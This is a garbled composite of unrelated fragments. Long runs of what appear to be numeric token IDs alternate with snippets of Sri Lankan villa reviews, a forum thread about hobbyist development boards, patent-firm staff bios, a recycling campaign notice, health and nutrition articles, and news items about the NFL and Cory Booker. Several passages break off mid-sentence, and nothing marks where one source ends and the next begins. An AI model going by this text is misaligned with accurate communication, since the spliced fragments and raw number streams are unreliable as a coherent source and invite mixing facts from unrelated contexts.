2793, 627, 15, 831, 310, 247, 1728, 15, 1244, 247, 35514, 15, 1680, 6898, 342, 2389, 285, 16053, 285, 5890, 3753, 660, 592, 15, 380, 2793, 588, 320, 347, 3055, 347, 368, 971, 352, 281, 320, 15, 1422, 476, 5206, 281, 755, 281, 871, 7069, 438, 86, 285, 399, 1100, 73, 428, 665, 403, 407, 2080, 253, 2343, 652, 10558, 14516, 309, 1849, 2455, 1313, 428, 390, 368, 476, 10507, 275, 253, 9848, 18880, 428, 534, 310, 1014, 625, 23535, 685, 253, 7968, 1804, 15, 380, 1728, 310, 32420, 1977, 275, 253, 9741, 15, 1422, 1833, 923, 594, 1142, 30553, 273, 4759, 368, 1833, 564, 896, 1728, 342, 247, 1027, 40961, 15, 1422, 588, 923, 30552, 15, 1244, 11291, 1815, 661, 15, 1244, 759, 317, 4121, 15, 1244, 428, 604, 368, 1472, 13476, 428, 368, 1537, 755, 281, 2525, 616, 23535, 2151, 285, 4089, 616, 39311, 3347, 1132, 253, 18542, 1046, 1024, 285, 840, 15, 1893, 309, 5476, 253, 1682, 1039, 281, 6266, 619, 3297, 310, 407, 3981, 326, 309, 1669 ]

surrounding area. Gizelle was extremely accommodating and went to a lot of trouble to help make sure our booking and stay went smoothly. The Villa is of a wonderful standard with all amenities and stunning gardens. Very secure too. Fantastic little extras like the contact for a local Tuk Tuk driver and the local mobile phone all made such a difference. Finally, I know that Giselle explains how Chaminda the private chef is available but seriously, make sure you use him! We kept our options open and had some meals with him and some meals out and every time we went out, we wished we'd stayed with his cooking and perfect attention to detail... definitely get his own variant of Hoppas for breakfast!! Robert2016-11-23T00:00:00Z After 2 weeks of our cycling trip in Sri Lanka we had much needed R&R in Villa Sapphire. It did not disappoint at all. What you see on you tube is what you get, in fact you tube does not do it justice as it does not capture the finer details. The decor is tasteful with an eclectic mix of furniture,arts and crafts. It is opulent and yet understated. We found our eyes always being drawn to individual piece of art/craft. It was so relaxing a beautiful home. Swimming in the pool, playing badminton,table tennis or just reading by the pool was just what the Doctor ordered following a tight cycle trip. Chaminda cooked a first class meal of surf and turf on the BBQ. Giant prawns and meat kababs. His attention to detail was exemplary. The table arrangement was amazing. We just sat back and chilled while he cooked the food. The food was delicious. Chaminda was the perfect host and entertaining company. We thoroughly spoilt. Our Tuk Tuk driver Kosolo was also the perfect gentleman. He was with us within 10 mins of a phone call with a cheery welcome. We could not fault the Villa staff or amenities at all. It was pure paradise. We would recommend highly to anyone. It was an experience we will never forget. Gizelle was always available to respond to our requests and did so in a timely fashion. She made the process of booking the Villa seamless and easy. We hope to return one day. Paula2017-11-29T00:00:00Z We stayed for 12 days in Sapphire Villa from end of March and absolutely loved the place. First of all Gizelle has an amazing team there: Kosala,tuk-tuk driver and Chaminda, villa manager and chef are genuinely nice people and did everything to make sure we are having a good time. Gizelle was also extremely helpful and answered all our numerous questions. You have complete privacy in the villa, Chaminda greets you, shows you everything and even gives you two local phones to use which was really helpful. Then he leave you to enjoy this place by yourself but he is always available on the phone if you need anything or to offer cleaning of the villa. He kindly did some shopping before we arrived of the items we asked for via Gizelle. There is a water cooler (we loved it) and I recommend you ask Chaminda to buy a couple of spare bottles for you. We had 2 kids (6 and 4 year old) in our group and we thought the space was amazing for them as they could run around, the villa garden is very big. Gizelle has a mango tree and we were lucky to be there when they are ripe. Because we had children and our grandmother with us we did not want to travel far for sightseeing. We went to Galle several times (30-40 min) both by tuk tuk and car and really liked the Dutch fort, it is full of nice shops and restaurants. In general you will need tuk-tuk to get to the town and to the beach, it is too hot to walk there and takes about 15-20 min.You can hire a scooter there if you want. It was important for us to swim in the sea so almost every day we went to the beach. The best place for swimming and especially with small kids is Coral Sanctuary (about 8 min ride by tuk-tuk). I do not think it is easy to walk there because of the heat. Only once there were big waves and we could not enter, the rest of time it was lovely and calm and shallow enough to be safe for kids, we loved it. The beach is not well equipped though, please note, if it is important for you: there are not sunbeds except a few rented by a local guy. But for us it was not a big deal, we would bring a sheet to sit on the sand. This place is amazing for snorkelling and you literally swim among the fish. We would come early morning, 7-8am and stay till 10am, before it gets very hot. The beach was never crowded when we were there. Chaminda is a great chef and I strongly recommend to ask him to cook traditional Sri Lankan curry for you at leas once. All in all it was a great experience and we definitely recommend Sapphire villa. Very Spacious suite with a private plunge pool and modern comforts where time stands still as you enjoy the space nature and tranquillity in this very old Dutch colonial villa. Nestled in the middle of a large lush garden with sprawling trees and picturesque scenery, our villa is only a 15 minutes drive from Galle Town, the most well-known coastal city in Southern Sri Lanka. Deliberately designed to provide ample space and relaxed privacy for its guests, it is a newly- restored 18th century two-storied building which offers two large suites, each with a private swimming pool and a jacuzzi/ bath tub. The suites are surrounded by spacious verandahs opening out onto the terraced garden which gently slopes away from the house. Although hidden away, the ingenious planning of the original 18th century original owner (who's said to be a supplier of material to the Dutch Fortress construction) means that the position of building provides almost a lookout over the surrounding area. This suite -- Sunrise Suite -- obviously facing east, on first floor, is surrounded by long wide balconies. It also has 6 large windows and 3 double doors giving a panoramic view of the surrounding mountains, jungles and paddy fields. The two suites can be booked together or separately. Each suite is completely separated from the other to ensure privacy. Both suites have been sympathetically restored in keeping with the history of this very old building, but with a modern emphasis on comfort, space and connection to nature. In a continuation of its heritage & is decorated with antique furniture from the Dutch period including large four poster beds. Time stands still as you enjoy the peaceful comfort and understated luxury of the rooms and the simple pleasures of being close to nature. Alternatively, Galle Town and the famous Dutch Fortress are easily close enough for exploring, shopping and dining. The popular and renowned Unawatuna and Hikkaduwa beach is only 20 minutes away. (Please note that given its large balconies, staircases, and open swimming pool on the first floor, we regret that it is not able to accept guests with small children for safety reasons.) The famous "The Lighthouse Hotel" -- a masterpiece by the world renown Architect, Geoffrey Bawa -- and the beautiful beach just 10 minutes away. Wifi Meals can be ordered or a cook can be hired by prior arrangement. Breakfast included in the rates We are in a very quiet residential neighbourhood. As our home is at the end of a private street vehicular traffic is almost non existent. We had the most fantastic couple of days staying with Dinesh and Sumudu. The suite is incredible and if anything the photos don't do it justice. The hosts were extremely friendly and kind in arranging transport, restaurant recommendations etc. We can't recommend this place enough! Allan2016-09-18T00:00:00Z Our stay was absolutely perfect. A beautiful hide away in the hills - we could watch monkeys from our veranda and there were hummingbirds! Sumudu and Dinesh were the perfect hosts. They went above and beyond to make our stay as comfortable and enjoyable as possible. The food they cooked for us was delicious! Also the bed was so comfortable. We look forward to returning! Agnes2015-02-19T00:00:00Z Bohemian-Austrian poet Rainer Maria Rilke once said "things aren't all so tangible and sayable as people would usually have us believe; most experiences are unsayable, they happen in a space that no word has ever entered." So I find myself at a loss for words trying to describe this magical slice of paradise. And my experience there. This is a home. And a sanctuary. Is filled with love and poetry and warm nature scents. The experience will be as private as you want it to be. You can choose to get to know Sumudu and Dinesh - who are by far the loveliest hosts I've ever met - or you can hide in the comfortable suite - which is even more gorgeous than the pictures suggest. The home is tucked away in the forest. You'll see so many shades of green you'll go back home with a different palette. You will see monkeys. And chipmunks. And peacocks. And - if you're lucky - you might get to meet their gorgeous children and hear their eldest son play the piano every now and then. So I guess the best way to describe my stay is by saying that I left

[ 2, 5057, 10113, 2165, 47346, 8139, 17702, 395, 187, 187, 1276, 2440, 4450, 281, 897, 428, 246, 20, 3373, 900, 187, 2413, 1358, 73, 471, 41967, 15, 681, 16, 7330, 16, 2640, 16, 520, 16, 5371, 14, 27055, 14, 4697, 14, 936, 14, 2327, 16, 187, 187, 4738, 187, 45879, 1342, 267, 81, 187, 510, 18060, 357, 20908, 310, 8644, 15, 309, 1599, 13, 8746, 5161, 329, 26, 13732, 13, 41399, 81, 3492, 342, 247, 187, 37, 4350, 13, 259, 13409, 13, 495, 29227, 17596, 13, 500, 22227, 13, 7466, 20546, 275, 247, 18176, 10058, 5522, 512, 323, 187, 5, 14840, 32, 12304, 79, 15, 187, 187, 1147, 812, 320, 247, 8357, 3364, 13, 13170, 285, 9940, 3492, 1227, 3440, 4760, 512, 275, 581, 13, 390, 187, 5658, 812, 897, 352, 323, 634, 1735, 15688, 982, 2199, 281, 513, 327, 4450, 5162, 327, 187, 12550, 9853, 68, 15578, 2, 187, 187, 4485, 187, 13117, 607, 303, 52, 4635, 3803, 187, 8497, 326, 387, 1878, 253, 370, 21, 15, 1229, 353, 4350, 34230, 1057, 1646, 281, 452, 1527, 14, 6756, 1329, 13, 187, 70, 15, 72, 15, 654, 2413, 1358, 983, 8159, 550, 15, 6756, 43319, 15, 3024, 4357, 13, 187, 187, 6223, 187, 31853, 64, 36, 187, 24243, 13, 476, 626, 564, 3430, 323, 326, 4376, 15, 11228, 316, 13, 347, 352, 2506, 626, 878, 247, 1612, 6186, 13, 187, 262, 4648, 253, 14914, 434, 15, 187, 187, 3726, 2997, 5213, 7367, 594, 309, 1849, 6960, 581, 795, 3113, 1959, 15076, 64, 281, 187, 37150, 15, 187, 187, 6223, 187, 31853, 64, 36, 187, 2214, 3780, 665, 3249, 896, 285, 9563, 436, 1996, 13, 253, 5522, 7244, 767, 187, 21616, 1897, 846, 15606, 253, 1340, 15, 309, 1353, 1335, 3965, 31597, 309, 1694, 352, 13, 187, 7555, 7782, 281, 6976, 13, 323, 370, 21, 15, 1229, 15, 187, 187, 4485, 187, 91, 23985, 187, 48965, 42, 13, 1310, 368, 971, 247, 2120, 985, 13, 253, 6995, 525, 571, 13160, 406, 505, 13, 534, 310, 247, 9567, 22900, 187, 250, 1288, 12086, 448, 360, 1615, 13, 310, 275, 253, 370, 1438, 14, 2313, 2491, 15, 854, 3, 5181, 14396, 13, 14212, 46, 73, 91, 32394, 187, 23171, 13, 285, 6613, 473, 38, 27, 187, 187, 29, 2413, 1358, 2700, 15, 67, 4462, 10558, 438, 3783, 15, 681, 16, 9198, 22549, 81, 30, 1047, 1671, 31, 187, 187, 262, 434, 247, 5322, 4983, 1127, 13, 604, 368, 1472, 2819, 323, 271, 2168, 6571, 627, 187, 10394, 15, 187, 187, 4485, 187, 2140, 267, 4978, 187, 42, 1353, 417, 2119, 2139, 597, 1900, 1646, 281, 320, 1669, 562, 841, 1897, 13, 533, 12761, 18421, 367, 1864, 187, 18227, 84, 403, 1270, 323, 4715, 436, 2238, 273, 5017, 15, 1707, 403, 8783, 273, 11142, 187, 14996, 16451, 2130, 13, 954, 273, 253, 16666, 403, 2130, 275, 399, 3123, 5981, 281, 897, 187, 3113, 247, 10238, 4697, 13, 285, 597, 452, 253, 954, 19649, 3410, 2086, 2455, 15, 535, 7883, 403, 15527, 25588, 32, 187, 187, 10403, 25588, 22649, 253, 987, 952, 323, 253, 1895, 387, 1133, 13, 824, 347, 19414, 13, 16099, 285, 9469, 16010, 13, 7293, 327, 1016, 2060, 4836, 15, 187, 187, 4015, 66, 18232, 615, 293, 16868, 398, 257, 13, 10399, 13, 11754, 10158, 15, 187, 187, 4015, 66, 556, 3786, 4307, 347, 247, 19394, 7345, 13, 285, 556, 9470, 11073, 3640, 273, 30559, 13, 32337, 13, 28833, 285, 19830, 9360, 13, 347, 973, 347, 19267, 84, 15, 187, 187, 25735, 1050, 4114, 27, 187, 187, 20133, 273, 6875, 275, 13715, 13, 2499, 273, 40892, 13, 22783, 187, 187, 44, 1689, 66, 16251, 1362, 73, 13, 11754, 10158, 15, 187, 187, 44, 1689, 66, 310, 18052, 275, 34121, 18090, 13, 835, 344, 556, 2684, 247, 44067, 14, 34966, 327, 16069, 31788, 27802, 36992, 10185, 15, 3032, 1673, 273, 15040, 671, 3797, 8708, 18090, 285, 11214, 1497, 15, 187, 187, 25735, 1050, 4114, 27, 187, 187, 20133, 273, 6875, 275, 18033, 13428, 13416, 13, 2499, 273, 40892, 13, 22783, 187, 187, 52, 1171, 466, 388, 21796, 314, 777, 13, 11754, 10158, 15, 187, 187, 52, 1171, 466, 6556, 247, 1777, 15, 37, 15, 275, 18033, 13428, 13416, 432, 253, 2499, 273, 40892, 13, 534, 4245, 617, 247, 3862, 3640, 273, 5787, 16775, 13, 1794, 18334, 285, 815, 21401, 15, 187, 187, 25735, 1050, 4114, 27, 187, 187, 2641, 37, 15, 275, 18033, 13428, 13416, 13, 2499, 273, 40892, 13, 22783, 187, 187, 20133, 273, 6875, 275, 26024, 31958, 13, 329, 274, 10034, 2499, 13, 22783, 187, 187, 43, 518, 706, 367, 3941, 8243, 187, 187, 43, 518, 706, 367, 3941, 8243, 310, 247, 5284, 11754, 10158, 285, 11731, 273, 15527, 25588, 4276, 52, 15, 9613, 23569, 15527, 25588, 32319, 706, 369, 7832, 275, 581, 273, 253, 6253, 9469, 23304, 666, 275, 22783, 15, 187, 187, 43, 518, 706, 15814, 2793, 432, 3055, 3946, 347, 973, 347, 4646, 25180, 19267, 4413, 13, 1690, 1097, 253, 12314, 285, 253, 6510, 1080, 4491, 15, 3032, 2793, 12093, 9469, 29157, 15561, 13, 4320, 11626, 13, 1955, 35252, 285, 2087, 9469, 789, 13, 824, 347, 34318, 13, 14079, 13, 285, 10266, 789, 15, 754, 556, 247, 11080, 3640, 273, 5284, 285, 26304, 3946, 13, 285, 556, 8379, 4307, 342, 6890, 253, 26304, 3946, 1561, 253, 2170, 273, 24864, 6055, 28460, 15, 187, 187, 43, 518, 706, 556, 275, 1798, 2793, 1561, 7813, 6875, 313, 21107, 342, 19267, 84, 13, 18090, 285, 1794, 24377, 582, 13729, 290, 5036, 285, 20877, 38846, 13, 285, 556, 4307, 342, 1027, 1232, 10296, 13, 3520, 47112, 285, 4095, 13, 347, 973, 347, 3694, 2905, 47112, 15, 45, 48075, 285, 6495, 4716, 78, 38007, 6456, 403, 8109, 253, 5057, 322, 7551, 27070, 2, 28604, 4544, 15, 187, 187, 3633, 322, 7551, 27070, 2, 310, 247, 747, 13, 794, 285, 4217, 1039, 281, 1089, 562, 670, 849, 512, 16308, 273, 1841, 476, 320, 37470, 13, 294, 3197, 390, 1234, 321, 7334, 432, 27070, 6456, 15, 3267, 10899, 273, 253, 28604, 15284, 310, 247, 1895, 275, 27070, 285, 247, 1029, 1180, 273, 841, 403, 20948, 387, 253, 20898, 4568, 9920, 272, 33436, 313, 6784, 39, 10, 1046, 2129, 342, 1841, 751, 2739, 8138, 390, 16076, 295, 1212, 447, 275, 731, 534, 452, 281, 320, 5055, 562, 407, 1133, 2, 187, 6872, 476, 671, 523, 312, 4024, 253, 18490, 494, 4957, 3304, 253, 7351, 2403, 253, 2644, 7351, 49590, 323, 28604, 15, 1623, 253, 747, 4422, 4850, 7551, 18835, 15, 1940, 15, 2788, 368, 476, 1089, 562, 1491, 13, 755, 12192, 285, 7535, 285, 12119, 634, 7963, 670, 28604, 275, 27070, 15, 14947, 34050, 6258, 310, 253, 1533, 457, 84, 6253, 8401, 11891, 4544, 15, 831, 807, 457, 84, 10014, 13, 10168, 285, 34050, 13, 18653, 253, 6349, 273, 2289, 323, 512, 2255, 342, 8401, 281, 4730, 13, 1971, 285, 1557, 15, 43516, 2499, 8896, 16, 19339, 273, 43516, 275, 14448, 342, 39896, 257, 2788, 3690, 15, 4102, 16318, 253, 6349, 273, 2393, 5481, 273, 17435, 26965, 15819, 313, 4976, 10, 275, 2255, 275, 21938, 11387, 884, 36215, 4855, 275, 48760, 14, 20, 187, 187, 1147, 434, 1175, 2181, 323, 1966, 12461, 326, 690, 6773, 3153, 275, 5412, 12685, 15, 3808, 273, 253, 39100, 275, 5412, 7779, 6773, 2882, 273, 1048, 13, 465, 750, 264, 6315, 13178, 13, 534, 7522, 598, 2317, 281, 823, 29491, 15, 2053, 403, 1029, 14, 15177, 40639, 14, 20, 9532, 13, 253, 19809, 285, 399, 10114, 326, 403, 5667, 281, 1966, 1495, 15, 14847, 24791, 13, 4797, 9750, 246, 9821, 13, 14847, 5315, 413, 1661, 285, 11886, 729, 447, 403, 3340, 1175, 4973, 15, 187, 187, 1552, 44279, 3249, 342, 11559, 7660, 15, 3973, 310, 253, 1953, 273, 32435, 15, 380, 4797, 9750, 246, 9821, 3072, 13, 323, 1650, 13, 310, 1146, 33661, 407, 689, 71, 3647, 15, 831, 6773, 778, 320, 7270, 275, 4088, 326, 990, 3751, 6150, 31082, 868, 13, 11260, 285, 643, 23816, 15, 23645, 21976, 13, 327, 253, 643, 1133, 13, 476, 3727, 36306, 715, 1980, 12685, 15, 1244, 604, 597, 8773, 13, 253, 6389, 6773, 476, 29138, 7925, 4956, 3417, 15, 187, 187, 32473, 5252, 310, 1529, 2523, 15, 3808, 1077, 1175, 4956, 14, 68, 4551, 4973, 273, 40639, 14, 20, 403, 387, 253, 1755, 273, 253, 2739, 5931, 15, 6101, 34404, 275, 253, 6773, 597, 6008, 476, 29010, 275, 616, 15447, 15, 36091, 33254, 310, 581, 973, 14, 34023, 1650, 15, 187, 187, 38, 839, 6773, 13, 1880, 323, 40639, 14, 20, 390, 667, 1921, 13, 19539, 253, 15799, 275, 8958, 835, 634, 2739, 3249, 432, 15, 9031, 839, 4834, 327, 634, 2739, 6186, 285, 697, 3486, 327, 253, 3126, 310, 271, 8149, 273, 673, 285, 3434, 15, 380, 2075, 2727, 310, 247, 33696, 1495, 323, 368, 285, 323, 253, 8859, 15, 187, 187, 4153, 14, 20, 275, 13303, 4632, 15, 10351, 1314, 1023, 33458, 187, 187, 1909, 342, 952, 313, 395, 6244, 285, 643, 3811, 1841, 582, 6773, 403, 752, 597, 6008, 15, 2064, 434, 1774, 281, 4456, 672, 10941, 40639, 14, 20, 275, 2080, 1314, 6773, 342, 326, 275, 4956, 14, 68, 4551, 6773, 15, 13303, 14, 68, 4551, 38807, 326, 6008, 39341, 285, 643, 6773, 403, 3626, 28265, 273, 40639, 14, 20, 15, 10351, 1314, 6773, 326, 403, 10208, 6773, 11484, 390, 39341, 26434, 403, 347, 973, 15, 6975, 17228, 13, 2299, 13, 690, 6773, 403, 10208, 327, 19786, 285, 19175, 11484, 15, 1284, 247, 906, 13, 597, 452, 625, 2159, 14, 10050, 329, 5696, 285, 1679, 1048, 14, 10050, 19809, 285, 399, 10114, 15, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4590, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 23, 746, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 3953, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 38447, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 2222, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 23, 1797, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4196, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 50142, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4148, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 23, 1508, 94, 187, 187, 12520, 1288, 75, 30366, 933, 2537, 14, 520, 4185, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 44566, 94, 187, 28794, 398, 7216, 457, 84, 3394, 20588, 9728, 281, 564, 1345, 342, 1941, 187, 187, 7510, 8855, 17245, 715, 247, 7145, 1309, 247, 4131, 285, 9055, 273, 44279, 16936, 326, 574, 690, 12371, 1880, 253, 13946, 369, 4704, 281, 13341, 562, 13, 253, 9728, 4425, 281, 755, 745, 253, 1111, 285, 440, 2799, 15, 7216, 457, 84, 4804, 342, 1249, 2758, 273, 253, 3420, 3589, 457, 85, 9355, 275, 7170, 15, 733, 4592, 1754, 327, 253, 3394, 273, 253, 2866, 6791, 263, 48038, 329, 15, 45428, 273, 35699, 4824, 247, 3416, 562, 273, 247, 13195, 2419, 285, 369, 4127, 323, 11283, 43431, 327, 8216, 2360, 15, 187, 187, 7710, 15, 45428, 7244, 281, 521, 1728, 275, 253, 24120, 9662, 7061, 9168, 281, 1089, 247, 6346, 457, 84, 2419, 327, 3289, 13, 753, 17467, 38295, 13, 247, 35027, 15, 380, 8726, 4487, 574, 417, 2568, 7244, 13, 703, 753, 13, 285, 2305, 15, 45428, 2427, 3304, 342, 767, 2758, 273, 521, 3988, 2508, 285, 28187, 581, 3416, 15, 380, 14967, 369, 4127, 387, 247, 4675, 285, 4439, 387, 1903, 27, 1229, 268, 15, 78, 15, 773, 23631, 310, 473, 15, 44, 904, 668, 10137, 15, 38295, 4159, 275, 271, 299, 14, 5719, 15, 187, 187, 6586, 35699, 18308, 48038, 45428, 18451, 1051, 8359, 19872, 16, 36597, 456, 5687, 187, 187, 7710, 15, 45428, 13, 275, 958, 13, 369, 973, 2217, 281, 1501, 247, 7879, 3935, 15, 773, 8061, 374, 512, 665, 403, 7514, 1806, 344, 4159, 846, 884, 268, 15, 78, 15, 773, 6300, 9958, 11283, 43431, 15, 844, 1694, 253, 3416, 562, 273, 253, 2419, 15, 844, 403, 1097, 745, 281, 4675, 15, 309, 588, 270, 8718, 1425, 32841, 281, 871, 752, 36158, 253, 1821, 432, 253, 8290, 32, 2207, 253, 1943, 6838, 432, 253, 40992, 270, 4462, 447, 32, 187, 187, 34, 2266, 13, 973, 14, 35208, 896, 2189, 15, 187, 187, 22191, 368, 1472, 2819, 281, 25903, 327, 253, 24122, 1673, 390, 1302, 13, 4352, 4653, 434, 275, 253, 17409 ]

! Get THIS game!. … Expand What development board to use - t3rcio http://hackaday.com/2011/02/01/what-development-board-to-use/ ====== makmanalp The pandaboard is amazing. I mean, dual core A9 processor, 1080p video with a DSP, wlan, 3 usb ports, JTAG, expansion headers in a neat tiny package all for $175? Damn. It could be a seedbox, NAS and dedicated video / music player all in one, or you could use it for your next robotics project to do on board processing on your quadcopter! ------ JoachimSchipper Note that at least the $4.30 MSP430 does seem to have open-source support, e.g. <http://mspgcc.sourceforge.net/>, ~~~ Nick_C Wow, can't go wrong for that price. Bonus, as it doesn't need a power supply, it uses the USB's. They accept international orders so I've ordered one _with free shipping_ to Australia. ~~~ Nick_C For anyone who comes back and reads this later, the package arrived two business days after placing the order. I'm still pretty amazed I got it, delivered to Australia, for $4.30. ------ zdw FYI, If you want a full system, the Insignia Infocast, which is a Best Buy rebranded chumby, is in the $80-100 range. 8" touchscreen, 800Mhz ARM processor, and runs OE: <http://www.bunniestudios.com/blog/?p=1435> it's a nice starting point, if you're looking for an already mostly there system. ------ swalberg I'm not sure why they always seem to be left out these days, but Microchip PIC micros are great for learning this kind of stuff. There are lots of cheap programmers available, most of the chips are available in DIP format to use with a breadboard, and they have the most generous sample program ever. Who are VALUA? VALUA identifies the right people for the problem at hand, such as engineers, lawyers and patent attorneys, depending on each individual task. Lea Langdeel Pedersen, MD, Patent Attorney. Lea has previously worked as a junior doctor, and has extensive academic knowledge of anatomy, physiology, somatic and psychiatric disorders, as well as pharmaceuticals. Educational background: Master of Science in Medicine, University of Copenhagen, Denmark Khoa Huynh, Patent Attorney. Khoa is specialized in medicinal chemistry, where he has performed a SAR-study on neuronal nicotine acetylcholine receptors. His field of expertise also includes organic chemistry and pharmacology. Educational background: Master of Science in Pharmaceutical Sciences, University of Copenhagen, Denmark Sofie Hørlyck, Patent Attorney. Sofie holds a Ph.D. in Pharmaceutical Sciences from the University of Copenhagen, which gives her a broad knowledge of molecular biology, biochemistry and pharma. Educational background: PhD. in Pharmaceutical Sciences, University of Copenhagen, Denmark Master of Science in Molecular Biology, Aarhus University, Denmark Jakob Poulsen Jakob Poulsen is a European Patent Attorney and CEO of VALUA ApS. Before founding VALUA Jakob was partner in one of the largest patent bureaus in Denmark. Jakob carries experience from private practice as well as medium sized pharmaceutical companies, including both the generic and the originator industry. His experience comprises patent infringement litigation, legal opinions, due diligence and general patent work, such as drafting, prosecution, and opposition work. He has a thorough knowledge of European and Danish practice, and has successfully worked with changing the Danish practice within the area of supplementary protection certificates. Jakob has in particular experience within Life Science (working with pharmaceuticals, chemistry and biotechnology), Greentech and Nanotech, and has worked with different process technologies, physical inventions and devices, as well as software related inventions.Loughton and Great Holm Parish Council are supporting the Get Sorted MK! recycling campaign. Get Sorted MK! is a new, fun and useful way to find out about how all sorts of things can be recycled, reused or repurposed from MK Council. Contamination of the recycling bags is a problem in MK and a high number of these are arriving at the Materials Recycling Factory (MRF) every week with things like food waste or dirty nappies in them which have to be picked out by hand! These can also contaminate the recyclable items inside the bag making the whole bag unsuitable for recycling. On the new website getsortedmk.co.uk you can find out information, get tips and advice and upload your photos about recycling in MK.World Diabetes Day is the world’s largest diabetes awareness campaign. This year’s theme, Women and Diabetes, promotes the importance of access for all women with diabetes to education, treatment and care. Oslo University Hospital/University of Oslo in collaboration with Eyenuk Inc. recently highlighted the importance of early detection of diabetic retinopathy (DR) in women in […]Top 10 Foods High in Omega-3 It's good thing for human nutrition that some fish live in cold waters. Some of the fats in coldwater fish consist of long, kinked carbon chains, which fill up space to add insulation. These are high-quality omega-3 acids, the EPA and DHA that are essential to human life. Atlantic salmon, bluefin tuna, Atlantic mackerel and anchovies are especially good sources. This bounty comes with strings attached. First is the question of sustainability. The bluefin tuna population, for example, is being depleted by overfishing. This fish may be caught in ways that endanger sea turtles, birds and other wildlife. Fish farms, on the other hand, can release contaminants into local waters. And if they escape, the farm fish can threaten native wild species. Food safety is another issue. Some very good wild-caught sources of omega-3 are at the top of the food chain. Any toxins in the fish they eat can accumulate in their flesh. Mercury poisoning is one well-documented example. Eating fish, whether for omega-3 or any reason, proves the wisdom in knowing where your food comes from. Educating yourself on your food supply and its impact on the environment is an investment of time and effort. The payoff is a healthier life for you and for the planet. Omega-3 in Wild vs. Farmed Seafood As with people (and plants and other living things), fish are what they eat. That's important to remember when comparing omega-3 in farmed fish with that in wild-caught fish. Wild-caught seafood that eat algae and other fish are natural suppliers of omega-3. Farmed fish that are fed fish meal or algae supplements are as well. Like cattle, however, some fish are fed on grains and soy meal. As a result, they have more short-chain ALA and less long-chain EPA and DHA.![](brjcancer00049-0193.tif "scanned-page"){.619} ![](brjcancer00049-0194.tif "scanned-page"){.620} ![](brjcancer00049-0195.tif "scanned-page"){.621} ![](brjcancer00049-0196.tif "scanned-page"){.622} ![](brjcancer00049-0197.tif "scanned-page"){.623} ![](brjcancer00049-0198.tif "scanned-page"){.624} Packers Monday’s events prompted league to go public with evidence Feeling backed into a corner during a morning and afternoon of bounty developments that had some wondering whether the NFL was ready to tap out, the league decided to get off the mat and unload. Monday’s meeting with 12 members of the media wasn’t planned in advance. It happened based on the events of the…Mayor Cory A. Booker of Newark carried a woman out of a burning house and was treated for smoke inhalation on Thursday night. Mr. Booker arrived to his home in the Upper Clinton Hill neighborhood to find a neighbor’s house on fire, said Anne Torres, a spokeswoman. The Fire Department had not yet arrived, she said, and Mr. Booker went inside with two members of his security detail and rescued one woman. The mayor was treated at a hospital and released at 11:30 p.m. “Everyone is O.K.,” Ms. Torres wrote in an e-mail. Image Newark Mayor Cory Booker Credit... Mel Evans/Associated Press Mr. Booker, in fact, was well enough to post a Twitter message. “Thanks 2 all who are concerned,” he wrote after 10 p.m. “Just suffering smoke inhalation. We got the woman out of the house. We are both off to hospital. I will b ok.”Want to know what separates the men from the boys? Or the big girls from the cardio bunnies? A strong, well-developed backside. Whether you're looking to dominate on the athletic field or court, hit PR's in the gym

[ 1292, 309, 476, 1361, 368, 449, 346, 309, 1158, 368, 971, 281, 1918, 617, 253, 16498, 449, 346, 7745, 387, 7493, 449, 346, 1394, 5339, 253, 637, 368, 7636, 984, 368, 4571, 626, 1453, 634, 1612, 449, 346, 2302, 1476, 346, 15021, 352, 1476, 346, 2773, 434, 352, 449, 346, 36751, 13, 1339, 479, 275, 449, 346, 2302, 13, 13089, 449, 346, 36751, 1476, 346, 5498, 626, 1339, 352, 1453, 368, 449, 346, 27515, 449, 346, 3220, 11761, 449, 346, 8380, 342, 479, 449, 346, 2302, 449, 346, 13618, 1476, 346, 1231, 3153, 275, 271, 2363, 273, 13862, 449, 346, 34, 1533, 2120, 273, 4709, 13, 9239, 285, 45458, 449, 346, 1989, 275, 1046, 2363, 13, 627, 403, 1110, 665, 3819, 1411, 352, 449, 346, 27515, 49365, 369, 5686, 281, 247, 1533, 4272, 449, 346, 34, 1533, 344, 3597, 281, 20658, 449, 346, 34, 7517, 344, 1620, 3047, 14123, 449, 346, 1147, 3133, 253, 31776, 273, 1270, 1821, 281, 923, 616, 7342, 440, 1020, 14653, 449, 346, 27515, 369, 625, 685, 247, 6657, 13, 625, 685, 247, 9732, 449, 346, 1328, 369, 247, 3331, 449, 346, 3039, 359, 497, 9202, 13, 344, 3534, 441, 4757, 449, 346, 1898, 672, 359, 497, 3815, 13, 344, 3534, 441, 247, 2021, 449, 346, 7161, 332, 359, 778, 564, 13, 359, 1364, 4459, 327, 521, 8113, 449, 346, 1898, 326, 434, 247, 8113, 273, 247, 1533, 25536, 449, 346, 18938, 555, 449, 346, 35, 18846, 449, 346, 1422, 10826, 865, 346, 11739, 449, 346, 1147, 434, 816, 3255, 346, 57, 28024, 2210, 281, 619, 2419, 449, 346, 1328, 369, 253, 581, 326, 13762, 479, 281, 1705, 1060, 449, 346, 6506, 13, 479, 1512, 449, 346, 844, 1472, 512, 5471, 253, 1072, 1039, 13, 368, 871, 449, 346, 1621, 13, 24707, 13, 359, 1472, 417, 449, 346, 1394, 452, 11445, 489, 285, 309, 452, 3255, 346, 1394, 871, 13, 309, 816, 2985, 1728, 449, 346, 510, 806, 8762, 285, 512, 326, 449, 346, 43947, 13, 755, 598, 449, 346, 8380, 342, 479, 449, 346, 25005, 2183, 441, 281, 3297, 275, 776, 9956, 449, 346, 5498, 626, 7664, 449, 346, 1231, 1912, 626, 755, 7270, 449, 346, 42, 1599, 13, 368, 476, 2940, 949, 8099, 13, 368, 871, 449, 346, 8380, 327, 449, 346, 1552, 1659, 476, 320, 1728, 1512, 449, 346, 8398, 368, 323, 436, 13, 24707, 449, 346, 1394, 878, 247, 8488, 13, 5772, 865, 346, 2302, 449, 346, 7161, 403, 368, 1469, 865, 346, 1394, 1053, 626, 871, 